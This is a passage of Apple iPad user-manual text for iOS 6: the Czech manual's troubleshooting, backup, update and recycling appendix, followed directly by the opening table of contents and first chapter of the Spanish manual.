jezdec, a poté stiskněte tlačítko plochy a přidržte je, čímž vynutíte ukončení aplikace, kterou jste používali.Dodatek C Bezpečnost, zacházení a podpora 136 • Pokud to nepomůže, vypněte iPad a znovu jej zapněte. Stiskněte a přidržte tlačítko Spánek/ Probuzení, dokud se neobjeví červený jezdec. Poté přesuňte jezdec. Poté stiskněte a přidržte tlačítko Spánek/Probuzení, dokud se nezobrazí logo Apple. • Pokud to nepomůže, resetujte iPad. Současně stiskněte a přidržte tlačítko Spánek/probuzení a tlačítko plochy po dobu nejméně deseti sekund, dokud se neobjeví logo Apple. • Pokud se po otočení zařízení iPad nezmění orientace obrazovky, podržte iPad ve svislé poloze a ujistěte se, že je vypnutý zámek orientace obrazovky. Restart a resetování iPadu Pokud něco nefunguje, jak má, zkuste restartovat iPad, vynutit zavření aplikace nebo iPad resetovat. Restart zařízení iPad:  Stiskněte tlačítko Spánek/Probuzení a držte je, dokud se nezobrazí červený jezdec. Přetažením jezdce iPad vypněte. Pokud chcete iPad opět zapnout, podržte tlačítko Spánek/probuzení, dokud se neobjeví logo Apple. Vynucené ukončení aplikace:  Na několik sekund přidržte tlačítko Spánek/probuzení nahoře na zařízení iPad, dokud se neobjeví červený jezdec, a poté přidržte tlačítko plochy, dokud se aplikace nezavře. Pokud iPad nemůžete vypnout nebo problém přetrvává, je možné, že bude třeba obnovit výchozí stav zařízení iPad. Obnova výchozího stavu by měla být použita pouze v případě, že nepomůže vypnutí ani zapnutí zařízení iPad. Obnova výchozího stavu zařízení iPad:  Současně podržte tlačítko Spánek/Probuzení a tlačítko plochy po dobu nejméně deseti sekund, dokud se neobjeví logo Apple. Zobrazí se hlášení „Chybný kód“ nebo „iPad je uzamčený“ Pokud zapomenete svůj přístupový kód nebo iPad zobrazí zprávu, že je uzamčený, přejděte na stránku podpory „iOS: Wrong passcode results in red disabled screen“ na adrese support.apple.com/kb/HT1212?viewlocale=cs_CZ. Zobrazí se hlášení „Toto příslušenství není zařízením iPad podporováno“ Je možné, že připojené příslušenství se zařízením iPad nespolupracuje. Zkontrolujte, zda jsou USB kabel a konektory čisté a přečtěte si dokumentaci dodanou s příslušenstvím. Aplikace nevyplní celou obrazovku V zařízení iPad lze použít většinu aplikací pro iPhone a iPod touch. Tyto aplikace však nevyužívají velkou obrazovku. V takovém případě můžete rozhraní aplikace zvětšit klepnutím na . Klepnutím na obnovíte původní velikost. Zkuste v App Store vyhledat verzi aplikace optimalizovanou pro iPad nebo univerzální verzi optimalizovanou pro iPhone, iPod touch i iPad.Dodatek C Bezpečnost, zacházení a podpora 137 Neobjevuje se klávesnice na obrazovce Když je iPad spárovaný s klávesnicí Bluetooth, neobjevuje se klávesnice na obrazovce. Chcete-li vyvolat klávesnici na obrazovce, stiskněte na klávesnici Bluetooth klávesu Eject (vysunout). Klávesnici na obrazovce můžete též vyvolat, když klávesnici Bluetooth vzdálíte z dosahu nebo ji vypnete. Zálohování iPadu iPad můžete zálohovat automaticky prostřednictvím iCloudu nebo iTunes. Rozhodnete-li se pro automatické zálohování na iCloudu, nemůžete zároveň používat funkci automatického zálohování do počítače pomocí iTunes. iTunes však můžete využívat k ručnímu zálohování do počítače. Zálohování pomocí iCloudu iCloud automaticky zálohuje iPad každý den přes Wi-Fi v době, kdy je telefon připojen k napájecímu zdroji a uzamčen. Datum a čas posledního zálohování jsou uvedeny v dolní části obrazovky Úložiště a zálohy. Na iCloud se zálohují následující položky: • zakoupená hudba, televizní pořady, aplikace a knihy, • fotografie a videa v albu Fotoaparát, • Nastavení iPadu • data aplikací, • uspořádání plochy a aplikací, • Zprávy Poznámka:  Zakoupená hudba se nezálohuje ve všech oblastech a ani televizní pořady nejsou k dispozici ve všech oblastech. Pokud jste zálohování na iCloud nepovolili při prvním zálohování zařízení iPad, můžete je zapnout v nastavení iCloudu. Po zapnutí zálohování na iCloud se váš iPad přestane automaticky zálohovat do počítače při synchronizaci s iTunes. Zapnutí zálohování na iCloud:  Otevřete Nastavení > iCloud a poté se přihlaste pod svým Apple ID a heslem, je-li požadováno. Vyberte Úložiště a zálohy a poté zapněte volbu Záloha iCloud. Okamžité zálohování:  Otevřete Nastavení > iCloud > Úložiště a zálohy a poté klepněte na Zálohovat. Správa záloh:  Otevřete Nastavení > iCloud > Úložiště a zálohy a poté klepněte na Spravovat úložiště. Klepněte na název svého zařízení iPad. Zapnutí nebo vypnutí zálohování alba Fotoaparát:  Otevřete Nastavení > iCloud > Úložiště a zálohy a poté klepněte na Spravovat úložiště. Klepněte na název svého zařízení iPad a poté zapněte nebo vypněte zálohování alba Fotoaparát. Zobrazení zálohovaných zařízení:  Otevřete Nastavení > iCloud > Úložiště a zálohy > Spravovat úložiště.Dodatek C Bezpečnost, zacházení a podpora 138 Ukončení zálohování na iCloud:  Otevřete Nastavení > iCloud > Úložiště a zálohy > Zálohování a poté vypněte volbu Záloha iCloud. Hudba, která nebyla zakoupena v iTunes, se na iCloud nezálohuje. K zálohování a obnově tohoto obsahu musíte používat iTunes. Viz Synchronizace s iTunes na stránce 16. Důležité:  Zálohování zakoupené hudby a televizních pořadů není k dispozici ve všech oblastech. Starší nákupy nemusí být k dispozici, pokud se již v obchodě iTunes Store, App Store nebo iBookstore nenacházejí. Zakoupený obsah, stejně jako obsah Fotostreamu, se nezapočítává do 5GB limitu bezplatného úložného prostoru na iCloudu. Zálohování pomocí iTunes iTunes vytvářejí zálohy fotografií v albu Fotoaparát nebo Uložené obrázky, textových zpráv, poznámek, seznamu Oblíbené, nastavení zvuku a dalších položek. Soubory médií, například skladby, a některé fotografie se nezálohují, lze je však obnovit synchronizací s iTunes. Připojíte-li iPad k počítači, s nímž jej běžně synchronizujete, iTunes vytvoří zálohu v následujících situacích: • Synchronizace s iTunes: iTunes synchronizují iPad vždy, když jej připojíte k počítači. Není-li iPad pro synchronizaci s daným počítačem nakonfigurován, iTunes jej automaticky nezálohují. Viz Synchronizace s iTunes na stránce 16. • Aktualizace nebo obnova zařízení iPad: iTunes iPad automaticky zálohují vždy před aktualizací a obnovením. Zálohy zařízení iPad mohou iTunes také zašifrovat a zabezpečit tak vaše data. Zašifrování záloh zařízení iPad:  Na panelu Souhrn v iTunes vyberte „Šifrovat zálohy iPadu“. Obnovení souborů a nastavení zařízení iPad:  Připojte iPad k počítači, s nímž jej běžně synchronizujete, v okně iTunes vyberte iPad a na souhrnném panelu klikněte na Obnovit. Další informace o zálohách najdete v článku support.apple.com/kb/HT1766?viewlocale=cs_CZ. Odstranění zálohy iTunes Zálohu zařízení iPad můžete odstranit ze seznamu záloh v iTunes. Toto můžete chtít provést například, pokud byla záloha vytvořena v počítači někoho jiného. Odstranění zálohy: 1 V iTunes otevřete Předvolby pro iTunes. • Mac: Otevřete iTunes > Předvolby. • Windows: Otevřete Úpravy > Předvolby. 2 Klikněte na Zařízení (iPad nemusí být připojený). 3 Vyberte zálohu, kterou chcete odstranit, a klikněte na Smazat zálohu. 4 Kliknutím na Smazat potvrďte, že si přejete smazat vybranou zálohu, a pak klikněte na OK.Dodatek C Bezpečnost, zacházení a podpora 139 Aktualizace a obnova softwaru zařízení iPad Software zařízení iPad můžete aktualizovat v Nastavení nebo pomocí iTunes. Můžete také iPad smazat a poté provést obnovu dat ze zálohy na iCloudu nebo pomocí iTunes. Smazaná data již nejsou z uživatelského rozhraní zařízení iPad přístupná, nebudou však ze zařízení iPad smazána. Informace o smazání veškerého obsahu a nastavení viz Obnovit na stránce 124. Aktualizace iPadu Software zařízení iPad můžete aktualizovat v Nastavení nebo pomocí iTunes. Bezdrátová aktualizace na zařízení iPad:  Vyberte Nastavení > Obecné > Aktualizace softwaru. iPad vyhledá dostupné aktualizace softwaru. Aktualizace softwaru v iTunes:  iTunes vyhledávají dostupné aktualizace softwaru při každé synchronizaci zařízení iPad prostřednictvím iTunes. Viz Synchronizace s iTunes na stránce 16. Další informace o aktualizaci softwaru zařízení iPad naleznete na adrese support.apple.com/kb/HT4623?viewlocale=cs_CZ. Obnovení iPadu K obnovení zařízení iPad ze zálohy můžete použít iCloud nebo iTunes. Obnovení ze zálohy na iCloudu:  Resetujte iPad a vymažte z něj tak veškeré položky nastavení a všechna data. Přihlaste se k iCloudu a v Asistentovi nastavení vyberte Obnovit ze zálohy. Viz Obnovit na stránce 124. Obnovení ze zálohy iTunes:  Připojte iPad k počítači, s nímž jej běžně synchronizujete, v okně iTunes vyberte iPad a na souhrnném panelu klikněte na Obnovit. Po obnovení softwaru můžete iPad buď nastavit jako nový iPad, nebo obnovit hudbu, videa, data aplikací a další obsah ze zálohy. Další informace o obnově softwaru zařízení iPad naleznete na adrese support.apple.com/kb/HT1414?viewlocale=cs_CZ. Odesílání, přijímání a prohlížení e-mailů Pokud iPad nemůže odesílat nebo přijímat e-maily nebo zobrazovat přílohy, vyzkoušejte tyto kroky. Nelze odeslat e-mail • Vypněte iPad a znovu jej zapněte. Stiskněte a po několik sekund přidržte tlačítko Spánek/ Probuzení, až se objeví červený jezdec. Poté přesuňte jezdec. Poté stiskněte a přidržte tlačítko Spánek/Probuzení, dokud se nezobrazí logo Apple. • V Nastavení vyberte Pošta, kontakty, kalendáře a zvolte účet, který chcete použít. Klepněte na Informace o účtu a poté na SMTP v oddílu Server odchozí pošty. Můžete nastavit další SMTP servery nebo vybrat server z jiného e-mailového účtu v zařízení iPad. Požádejte poskytovatele služeb Internetu o konfigurační údaje. • Namísto synchronizace s iTunes nastavte poštovní účet přímo v zařízení iPad. Vyberte Nastavení > Pošta, kontakty, kalendáře, klepněte na Přidat účet a poté zadejte informace o svém účtu. Pokud iPad nedokáže po zadání e-mailové adresy vyhledat nastavení operátora, přečtěte si článek support.apple.com/kb/HT4810?viewlocale=cs_CZ s informacemi o tom, jak nastavit účet. Další informace o řešení potíží naleznete na adrese www.apple.com/cz/support/ipad.Dodatek C Bezpečnost, zacházení a podpora 140 Nelze přijmout e-mail • Vypněte iPad a znovu jej zapněte. Stiskněte a po několik sekund přidržte tlačítko Spánek/ Probuzení, až se objeví červený jezdec. Poté přesuňte jezdec. Poté stiskněte a přidržte tlačítko Spánek/Probuzení, dokud se nezobrazí logo Apple. • Pokud používáte pro ověřování stejného poštovního účtu jeden nebo více počítačů, může být čtení pošty blokováno. Další informace naleznete v článku support.apple.com/kb/TS2621?viewlocale=cs_CZ. • Namísto synchronizace s iTunes nastavte e-mailový účet přímo v zařízení iPad. Vyberte Nastavení > Pošta, kontakty, kalendáře, klepněte na Přidat účet a poté zadejte informace o svém účtu. Pokud iPad nedokáže po zadání e-mailové adresy vyhledat nastavení operátora, přečtěte si článek support.apple.com/kb/HT4810?viewlocale=cs_CZ s informacemi o tom, jak nastavit účet. • Pokud máte iPadWi-Fi + cellular, vypněte Wi-Fi, aby se iPad připojil k Internetu přes mobilní datovou síť. Vyberte Nastavení > Wi-Fi a poté vypněte volbu Wi-Fi. Další informace o řešení potíží naleznete na adrese www.apple.com/cz/support/ipad. Nelze zobrazit přílohy pošty • Zobrazení přiloženého souboru:  Chcete-li otevřít přílohu v Rychlém náhledu, klepněte na ni. Některé soubory nelze prohlížet, dokud se nestáhnou celé. • Uložení přiložené fotografie nebo videa:  Chcete-li otevřít přílohu v Rychlém náhledu, klepněte na ni. Některé soubory nelze prohlížet, dokud se nestáhnou celé. Rychlý náhled podporuje následující typy dokumentů: • .doc, .docx – Microsoft Word • .htm, .html – webová stránka • .key – Keynote • .numbers – Numbers • .pages – Pages • .pdf – Náhled, Adobe Acrobat • .ppt, .pptx – Microsoft PowerPoint • .rtf – formát RTF • .txt – text • .vcf – kontaktní údaje • .xls, .xlsx – Microsoft Excel Další informace o řešení potíží naleznete na adrese www.apple.com/cz/support/ipad. Zvuk, hudba a video Pokud iPad nepřehrává zvuk nebo video, vyzkoušejte tyto kroky. Není slyšet zvuk • Ujistěte se, že není zakrytý reproduktor zařízení iPad. • Ujistěte se, že postranní přepínač není v poloze ticho. Viz Tlačítko hlasitosti a postranní přepínač na stránce 10. • Pokud používáte náhlavní soupravu, odpojte ji a znovu ji připojte. Ujistěte se, že je konektor úplně zasunutý do zdířky.Dodatek C Bezpečnost, zacházení a podpora 141 • Ujistěte se, že zvuk není úplně ztlumený. • Hudba v zařízení iPad může být pozastavena. Pokud používáte náhlavní soupravu s tlačítkem Pustit, zkuste stisknutím tlačítka Pustit navázat přehrávání. Také můžete klepnout na ploše na aplikaci Hudba a poté na . • Ověřte, zda je nastavený limit hlasitosti. V Nastavení vyberte Hudba > Limit hlasitosti. • Pokud používáte linkové výstupní rozhraní na volitelném příslušenství iPad Dock, ujistěte se, že jsou externí reproduktory nebo stereosouprava zapnuté, správně připojené a funkční. Použijte ovládání hlasitosti na externích reproduktorech nebo stereosoupravě, ne na zařízení iPad. • Pokud používáte aplikaci, která spolupracuje s funkcí AirPlay, ověřte, zda je cílové zařízení AirPlay zapnuté a zda je na něm nastavena přiměřená hlasitost. Chcete-li poslouchat zvuk z reproduktoru zařízení iPad, klepněte na a vyberte reproduktor ze seznamu. Nelze přehrát skladbu, video nebo jinou položku Skladba, video, audiokniha nebo podcast mohou být kódovány ve formátu, který iPad nepodporuje. Informace o formátech zvukových souborů a videosouborů podporovaných zařízením iPad naleznete na adrese www.apple.com/cz/ipad/specs. Pokud máte v knihovně iTunes skladby nebo videa, které iPad nepodporuje, v některých případech je můžete převést do formátu, který iPad podporuje. V iTunes pro Windows můžete například převést nechráněné soubory WMA do formátu podporovaného zařízením iPad. Více informací získáte přímo v iTunes příkazem Nápověda > Nápověda pro iTunes. Při používání funkce AirPlay nehraje video nebo není slyšet zvuk Chcete-li poslat video nebo zvuk do zařízení AirPlay, například do Apple TV, musí být iPad připojen ke stejné bezdrátové síti jako zařízení AirPlay. Pokud tlačítko nevidíte, není iPad připojen ke stejné Wi-Fi síti jako zařízení AirPlay nebo použitá aplikace AirPlay nepodporuje. • Je-li zvuk nebo obraz odesílán do zařízení AirPlay, zařízení iPad jej nepřehrává. Chcete-li přesměrovat signál do zařízení iPad a odpojit iPad od zařízení AirPlay, klepněte na a vyberte iPad ze seznamu. • Některé aplikace přehrávají přes AirPlay pouze zvuk. Pokud video nefunguje, ujistěte se, že použitá aplikace podporuje zvuk i video. • Pokud je Apple TV chráněna přístupovým kódem, musíte jej na vyzvání zadat, abyste mohli používat funkci AirPlay v zařízení iPad. • Ujistěte se, že jsou reproduktory zařízení AirPlay zapnuté a zesílené. Pokud používáte Apple TV, ujistěte se, že je vstupní zdroj TV nastavený na Apple TV. Ujistěte se, že je ovladač hlasitosti v zařízení iPad nastaven na přiměřenou hlasitost. • Pokud iPad přenáší signál přes AirPlay, musí zůstat připojený k Wi-Fi síti. Pokud se se zařízením iPad vzdálíte z dosahu, přehrávání se zastaví. • V závislosti na rychlosti vaší sítě může spuštění přehrávání přes AirPlay trvat až 30 nebo více sekund. Další informace o AirPlay naleznete v článku support.apple.com/kb/HT4437?viewlocale=cs_CZ.Dodatek C Bezpečnost, zacházení a podpora 142 Na televizoru nebo projektoru připojeném k iPadu se nic nezobrazuje Připojíte-li iPad USB kabelem k televizoru nebo projektoru, bude připojený displej automaticky zrcadlit obrazovku iPadu. Některé aplikace mohou podporovat použití připojeného displeje jako druhého monitoru. Ověřte nastavení aplikace a prostudujte si její dokumentaci. • Chcete-li sledovat HD videa ve vysokém rozlišení, použijte adaptér digitální AV adaptér Apple nebo komponentní videokabel. • Ujistěte se, že je video kabel na obou koncích správně připojený a že je podporovaný. Pokud je iPad připojen k A/V přepínači nebo receiveru, zkuste jej místo toho připojit přímo k televizoru nebo projektoru. • Ujistěte se, že je na TV vybraný správný video vstup, například HDMI nebo složkové video. • Pokud se žádné video nezobrazí, stiskněte tlačítko plochy, odpojte a znovu připojte kabel a zkuste to znovu. iTunes Store a App Store Pokud chcete navštívit iTunes Store nebo App Store, musí být iPad připojen k Internetu. Viz Připojení k Wi-Fi síti na stránce 116. iTunes Store nebo App Store není k dispozici Abyste mohli nakupovat obsah v obchodě iTunes Store nebo App Store, potřebujete Apple ID. Apple ID si můžete vytvořit přímo v zařízení iPad. Otevřete Nastavení > iTunes a App Store a klepněte na Přihlásit se. Apple ID můžete vytvořit i v počítači otevřením iTunes a výběrem volby Obchod > Vytvořit účet. Poznámka:  iTunes Store a App Store nejsou v některých zemích k dispozici. Další informace, servis a podpora V následující tabulce je popsáno, kde získat další informace o bezpečnosti, softwaru, servisu a podpoře pro zařízení iPad. Hledané informace Postup Bezpečné používání zařízení iPad Viz Důležité informace o bezpečnosti na stránce 132. Servis a podpora pro iPad, tipy, fóra a stahování softwaru Apple Navštivte www.apple.com/cz/support/ipad. Nejnovější informace o iPadu Navštivte www.apple.com/cz/ipad. Správa účtu Apple ID Navštivte appleid.apple.com. Použití iCloudu Navštivte www.apple.com/emea/support/icloud. Použití iTunes Otevřete iTunes a vyberte volbu Nápověda > Nápověda pro iTunes. Online výuku pro iTunes (není k dispozici ve všech oblastech) naleznete na adrese www.apple.com/emea/support/itunes/. Používání dalších iOS aplikací od společnosti Apple Navštivte www.apple.com/emea/support/ios/.Dodatek C Bezpečnost, zacházení a podpora 143 Hledané informace Postup Zjištění sériového čísla nebo IMEI vašeho zařízení iPad Sériové číslo zařízení iPad nebo IMEI (International Mobile Equipment Identity) najdete na obalu zařízení iPad. Také můžete na zařízení iPad vybrat Nastavení > Obecné> Informace. Další informace naleznete v článku support.apple.com/kb/ht4061?viewlocale=cs_CZ. Záruční servis Nejprve postupujte podle rad v této příručce. Poté navštivte www.apple.com/cz/support/ipad. Zobrazení informací o standardech použitých v zařízení iPad Na zařízení iPad vyberte Nastavení > Obecné > Informace > Licence > Standardy. Výměna baterie Navštivte www.apple.com/cz/batteries/. Použití zařízení iPad v podnikovém prostředí Navštivte www.apple.com/ipad/business. Informace o likvidaci a recyklaci iPad je nutno správně zlikvidovat v souladu s místními právními předpisy a směrnicemi. Protože iPad obsahuje elektronické součástky a baterii, musí být zlikvidován odděleně od domovního odpadu. Pokud iPad dosáhne konce své životnosti, kontaktujte společnost Apple nebo místní úřady a informujte se o možnostech recyklace. Informace o recyklačním programu společnosti Apple naleznete na adrese www.apple.com/recycling. Výměna baterie:  Lithium-iontová baterie v zařízení iPad by měla být vyměněna pouze u společnosti Apple nebo u poskytovatele oprav autorizovaného společností Apple a musí být recyklována nebo zlikvidována odděleně od domovního odpadu. Informace o recyklaci a výměně baterií najdete na adrese www.apple.com/cz/batteries/. Účinnost nabíječky Türkiye Türkiye Cumhuriyeti: EEE Yönetmeliğine Uygundur. Evropská unie – informace o likvidaci elektronických zařízení a baterií:  Tento symbol značí, že v souladu s místními právními předpisy je třeba zlikvidovat váš produkt anebo jeho baterie odděleně od domovního odpadu. Dosáhne-li produkt konce své životnosti, předejte jej do sběrného dvora vyhrazeného k tomu účelu místními úřady. Oddělený sběr a recyklace vašeho produktu a jeho baterie napomohou chránit přírodní zdroje a zajistí, že produkt bude recyklován způsobem šetrným k lidskému zdraví a životnímu prostředí.Dodatek C Bezpečnost, zacházení a podpora 144 Union Européenne—informations sur l’élimination:  Le symbole ci-dessus signifie que, conformément aux lois et réglementations locales, vous devez jeter votre produit et/ou sa batterie séparément des ordures ménagères. Lorsque ce produit arrive en fin de vie, apportez-le à un point de collecte désigné par les autorités locales. La collecte séparée et le recyclage de votre produit et/ou de sa batterie lors de sa mise au rebut aideront à préserver les ressources naturelles et à s’assurer qu’il est recyclé de manière à protéger la santé humaine et l’environnement. Europäische Union—Informationen zur Entsorgung:  Das oben aufgeführte Symbol weist darauf hin, dass dieses Produkt und/oder die damit verwendete Batterie den geltenden gesetzlichen Vorschriften entsprechend und vom Hausmüll getrennt entsorgt werden muss. Geben Sie dieses Produkt zur Entsorgung bei einer offiziellen Sammelstelle ab. Durch getrenntes Sammeln und Recycling werden die Rohstoffreserven geschont und es ist sichergestellt, dass beim Recycling des Produkts und/oder der Batterie alle Bestimmungen zum Schutz von Gesundheit und Umwelt eingehalten werden. Unione Europea—informazioni per lo smaltimento:  Il simbolo qui sopra significa che, in base alle leggi e alle normative locali, il prodotto e/o la sua batteria dovrebbero essere riciclati separatamente dai rifiuti domestici. Quando il prodotto diventa inutilizzabile, portalo nel punto di raccolta stabilito dalle autorità locali. La raccolta separata e il riciclaggio del prodotto e/o della sua batteria al momento dello smaltimento aiutano a conservare le risorse naturali e assicurano che il riciclaggio avvenga nel rispetto della salute umana e dell’ambiente. Europeiska unionen—information om kassering:  Symbolen ovan betyder att produkten och/eller dess batteri enligt lokala lagar och bestämmelser inte får kastas tillsammans med hushållsavfallet. När produkten har tjänat ut måste den tas till en återvinningsstation som utsetts av lokala myndigheter. Genom att låta den uttjänta produkten och/eller dess batteri tas om hand för återvinning hjälper du till att spara naturresurser och skydda hälsa och miljö. Brasil—Informações sobre descarte e reciclagem O símbolo indica que este produto e/ou sua bateria não devem ser descartadas no lixo doméstico. Quando decidir descartar este produto e/ou sua bateria, faça-o de acordo com as leis e diretrizes ambientais locais. Para informações sobre o programa de reciclagem da Apple, pontos de coleta e telefone de informações, visite www.apple.com/br/environment. Apple a životní prostředí Společnost Apple rozumí své odpovědnosti za minimalizaci dopadu činnosti a produktů společnosti na životní prostředí. Další informace najdete na adrese www.apple.com/environment.KApple Inc. © 2012 Apple Inc. Všechna práva vyhrazena. Apple, logo Apple, AirPlay, AirPort, AirPort Express, AirPort Extreme, Aperture, Apple TV, FaceTime, Finder, iBooks, iCal, iLife, iPad, iPhone, iPhoto, iPod, iPod touch, iSight, iTunes, iTunes Extras, Keynote, Mac, Mac OS, Numbers, OS X, Pages, Photo Booth, Safari, Siri, Smart Cover, Spotlight a Time Capsule jsou ochranné známky společnosti Apple Inc., registrované v USA a dalších zemích. AirPrint, EarPods, Flyover, Guided Access, iMessage, iMessage, a Multi-Touch jsou ochranné známky společnosti Apple Inc. Apple Store, Genius, iAd, iCloud, iTunes Extras, iTunes Plus a iTunes Store jsou značky služeb společnosti Apple Inc., registrované v USA a dalších zemích. App Store, iBookstore a iTunes Match jsou značky služeb společnosti Apple Inc. Adobe a Photoshop jsou ochranné známky nebo registrované ochranné známky společnosti Adobe Systems Incorporated v USA a/nebo dalších zemích. Slovní známka Bluetooth® a loga jsou registrované ochranné známky vlastněné společností Bluetooth SIG, Inc. a jakékoliv použití těchto známek společností Apple Inc. je v rámci poskytnuté licence. IOS je ochranná známka nebo registrovaná ochranná známka společnosti Cisco v USA a dalších zemích a je používána v rámci poskytnuté licence. Některé aplikace nejsou k dispozici ve všech oblastech. Změny dostupnosti aplikací vyhrazeny. Obsah k dispozici v iTunes. Změny v dostupnosti titulů vyhrazeny. Názvy produktů dalších společností, které jsou zde zmíněny, mohou být ochrannými známkami příslušných společností. Zmínky o produktech třetích stran jsou pouze informativní a neznamenají schválení ani doporučení. Společnost Apple nepřejímá žádnou odpovědnost ohledně funkčnosti nebo použití těchto produktů. Veškeré další úmluvy, dohody nebo záruky jsou uzavírány přímo mezi prodejci a uživateli. Na zajištění přesnosti a správnosti informací v této příručce bylo vyvinuto veškeré možné úsilí. Společnost Apple neodpovídá za tiskové ani administrativní chyby. CZ019-2401/2012-09 iPad Manual del usuario Para software de iOS 6Contenido 7 Capítulo 1: Visión general 7 Presentación del iPad 8 Accesorios 9 Botones 11 Bandeja de la tarjeta SIM 12 Iconos de estado 14 Capítulo 2: Introducción 14 Requisitos necesarios 14 Configuración del iPad 14 ID de Apple 15 Configuración del correo y otras cuentas 15 Cómo gestionar el contenido del iPad 16 Cómo usar iCloud 17 Conexión del iPad al ordenador 18 Sincronización con iTunes 19 Visualización del manual del usuario en el iPad 20 Capítulo 3: Nociones básicas 20 Uso de las apps 23 Personalización del iPad 25 Escritura 29 Dictado 30 Cómo buscar 31 Notificaciones 32 Compartir 33 Conexión del iPad a un televisor u otro dispositivo 34 Impresión con AirPrint 35 Dispositivos Bluetooth 36 Compartir Archivos 37 Funciones de seguridad 38 Batería 39 Capítulo 4: Siri 39 ¿Qué es Siri? 39 Cómo utilizar Siri 42 Restaurantes 43 Películas 43 Deportes 43 Dictado 44 Cómo corregir a Siri 245 Capítulo 5: Safari 48 Capítulo 6: Mail 48 Lectura de correo electrónico 49 Envío de correo electrónico 50 Organización del correo 51 Impresión de mensajes y archivos adjuntos 51 Cuentas de correo y ajustes de Mail 53 Capítulo 7: Mensajes 53 Cómo enviar y recibir mensajes 54 Gestión de conversaciones 54 Cómo enviar fotos, vídeos y otros contenidos 55 Ajustes de mensajes 56 Capítulo 8: FaceTime 58 Capítulo 9: Cámara 58 Visión general 59 Cómo ver, compartir e imprimir 60 Edición de fotos y recorte de vídeos 61 Capítulo 10: Fotos 61 Cómo visualizar fotos y vídeos 62 Cómo organizar fotos y vídeos 62 Fotos en streaming 64 Cómo compartir fotos y vídeos 64 Impresión de fotos 64 Marco de fotos 65 Cómo importar fotos y vídeos 66 Capítulo 11: Photo Booth 66 Hacer fotos 67 Gestionar fotos 68 Capítulo 12: Vídeos 70 Capítulo 13: Calendario 70 Visión general 71 Cómo trabajar con varios calendarios 72 Compartir calendarios de iCloud 72 Ajustes de Calendario 73 Capítulo 14: Contactos 73 Visión general 74 Cómo añadir contactos 75 Ajustes de Contactos 76 Capítulo 15: Notas 76 Visión general Contenido 377 Capítulo 16: Recordatorios 79 Capítulo 17: Reloj 80 Capítulo 18: Mapas 80 Cómo buscar ubicaciones 81 Obtención de indicaciones 82 3D y Flyover 82 Ajustes de Mapas 83 Capítulo 19: Música 83 Obtención de música 83 Reproducción de música 85 Podcasts y audiolibros 85 Listas de reproducción 85 Genius 86 Siri 87 iTunes Match 87 la función “Compartir en casa” 88 Ajustes de Música 89 Capítulo 20: La tienda iTunes Store 91 Capítulo 21: La tienda App Store 91 Visión general 92 Eliminación de apps 93 Capítulo 22: Quiosco 94 Capítulo 23: iBooks 94 Visión general 95 Lectura de libros 96 Interacción con objetos multimedia 96 Estudio de notas y listas de vocabulario 97 Organización de la estantería 97 Sincronización de libros y documentos PDF 98 Impresión o envío de un PDF por correo electrónico 98 Ajustes de iBooks 99 Capítulo 24: Podcasts 101 Capítulo 25: Game Center 101 Visión general 102 Cómo jugar con amigos 102 Ajustes de Game Center 103 Capítulo 26: Accesibilidad 103 Funciones de accesibilidad 103 VoiceOver 113 Siri 113 Clic triple en Inicio 113 Zoom Contenido 4114 Texto grande 114 Invertir colores 114 Leer selección 114 Leer texto automático 114 Audio mono 115 Tonos asignables 115 Acceso Guiado 115 AssistiveTouch 116 Accesibilidad en OS X 116 Tamaño de letra mínimo para los mensajes de Mail 116 Teclados panorámicos 116 Con subtítulos 117 Capítulo 27: Ajustes 117 Modo Avión 117 Wi-Fi 118 VPN 118 Compartir Internet 119 Bluetooth 119 Datos móviles 120 “No molestar” y notificaciones 121 General 126 Sonidos 126 Brillo y fondo de pantalla 126 Marco de fotos 127 Privacidad 128 Apéndice A: El iPad en la empresa 128 El iPad en la empresa 128 Uso de perfiles de configuración 128 Configuración de cuentas de Microsoft Exchange 129 Acceso a una red VPN 129 Cuentas LDAP y CardDAV 130 Apéndice B: Teclados internacionales 130 Uso de teclados internacionales 131 Métodos de entrada especiales 133 Apéndice C: Seguridad, manejo y soporte 133 Información importante sobre seguridad 135 Información importante sobre manejo 136 Soporte del iPad 136 Aparece una imagen de batería baja o el mensaje “No se está cargando” 137 El iPad no responde 137 Reinicio y restauración del iPad 137 Aparece “Código incorrecto” o “El iPad está deshabilitado” 137 Aparece “Este accesorio no es compatible con el iPad” 137 Una app no ocupa toda la pantalla 138 No aparece el teclado en pantalla 138 Realización de copias de seguridad del iPad 140 Actualización y restauración del software del iPad Contenido 5140 Envío, recepción o visualización de correos electrónicos 142 Sonido, música y vídeo 143 Las tiendas iTunes Store y App Store 144 Más información, servicio y soporte 144 Información sobre residuos y reciclaje 146 Apple y el medio ambiente Contenido 61 7 En este capítulo encontrará información acerca de las características del iPad, el funcionamiento de sus controles y muchas cosas más. Presentación del iPad iPad mini Pantalla Multi-Touch Pantalla Multi-Touch Cámara FaceTime Cámara FaceTime Inicio Inicio Iconos de apps Iconos de apps Barra de estado Barra de estado Conector Lightning Conector Lightning Altavoz Altavoz Micrófono Micrófono Salida de auriculares Salida de auriculares Reposo/ activación Reposo/ activación Cámara iSight Cámara iSight Subir/ bajar volumen Subir/ bajar volumen Bandeja de la tarjeta nano-SIM (en algunos modelos) Bandeja de la tarjeta nano-SIM (en algunos modelos) Interruptor lateral Interruptor lateral Visión generalCapítulo 1 Visión general 8 iPad Pantalla Multi-Touch Pantalla Multi-Touch Cámara FaceTime Cámara FaceTime Inicio Inicio Iconos de apps Iconos de apps Barra de estado Barra de estado Altavoz Altavoz Conector Lightning Conector Lightning Micrófono Micrófono Salida de auriculares Salida de auriculares Bandeja de la tarjeta micro-SIM (en algunos modelos) Bandeja de la tarjeta micro-SIM (en algunos modelos) Reposo/ activación Reposo/ activación Cámara iSight Cámara iSight Subir/ bajar volumen Subir/ bajar volumen Interruptor lateral Interruptor lateral Las funciones del iPad y la pantalla de inicio pueden ser distintas, dependiendo de su modelo de iPad. Accesorios Los accesorios siguientes están incluidos en el iPad: Adaptador de corriente USB: Utilice el adaptador de corriente incluido para suministrar corriente al iPad y cargar la batería.Capítulo 1 Visión general 9 Nota: El adaptador de corriente incluido con el iPad puede variar en función del modelo y la región. Cable de Lightning a USB: Utilice este cable para conectar el iPad y el iPad mini al adaptador de corriente USB para recargarlo o al ordenador para sincronizarlo. Puede utilizarlo con la base iPad Dock opcional o conectarlo directamente al iPad. Cable de conector Dock a USB: Utilice este cable para conectar el iPad 2 y el iPad de tercera generación al adaptador de corriente USB para recargarlo o al ordenador para sincronizarlo. Puede utilizarlo con la base iPad Dock opcional o conectarlo directamente al iPad. Botones Unos pocos botones permiten bloquear el iPad y ajustar el volumen. Botón de 